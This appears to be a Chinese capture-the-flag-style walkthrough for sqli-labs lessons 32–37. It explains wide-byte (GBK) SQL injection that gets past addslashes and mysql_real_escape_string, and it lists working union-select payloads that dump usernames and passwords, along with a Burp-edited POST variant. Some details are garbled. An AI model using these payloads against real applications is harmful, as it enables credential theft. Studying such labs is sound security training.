sql-lib闯关之lesson32-37
LESS32
知识铺垫: 宽字节注入
宽字节注入原理:
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
参考链接:https://blog.csdn.net/helloc0de/article/details/76180190
中文、韩文、日文等均存在宽字节,英文默认都是一个字节。
例子:
id= 1’ 处理 1 \’ 进行编码 1%5c%27 带入sql后 id = \’ and XXXX 此时无法完成注入
id=1%df’ 处理 1%df\’ 进行编码 1%df%5c%27 带入sql后 id =1運’ and XXX 此时存在宽字节注入漏洞
下面我们开始闯关。
我们观察到源码中加入了 addslashes函数
PHP addslashes()函数:
check_addslashes()会在单引号前加一个\ 例如:I'm hacker 传入addslashes(),得到:I\'m hacker
所以这就有了宽字节注入的用武之地了。
1.我们输入?id=1’,可以发现被函数进行了转义
2.进行宽字节注入
输入:?id=-1%df' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
3.也可以利用%aa%5c‘ 来构造
%aa %5c ’
%aa %5c %27
转义得到
%aa %5c %5c %5c %27
解码得到
输入:?id=-1%aa%5c' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
LESS33
好像和上一关相同
输入:?id=-1%df' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
LESS34
可以看出本关使用的是POST类型注入,而且观察源码依旧使用了addslashes()函数
我们尝试宽字节注入,发现不行,因为post传入数据还是会再次编码。
我们输入账户密码后通过burp抓包显示,它给我们多加了一个转码%25,我们需要自己手动删除。
然后我们将包更改为
unmae=a%df‘ union select 1,2# &passwd=ad&submit=Submit
另外,我们可以将UTF-8转换为UTF-16。
例如将'转换为utf-16为: �'。
如图所示:
LESS35
这关大同小异 只不过没有包裹
输入:?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
LESS36
观察源码发现使用了PHP mysql_real_escape_string() 函数
参考连接:https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
我们依旧可以使用宽字节注入的方法。
输入:?id=1%df' union select 1,2,database() --+
LESS37
37关和34关类似,POST类型,使用的是mysql_real_escape_string()函数
同样可以使用将单引号从utf-8转换为utf-16的方法
也可以通过burp改数据包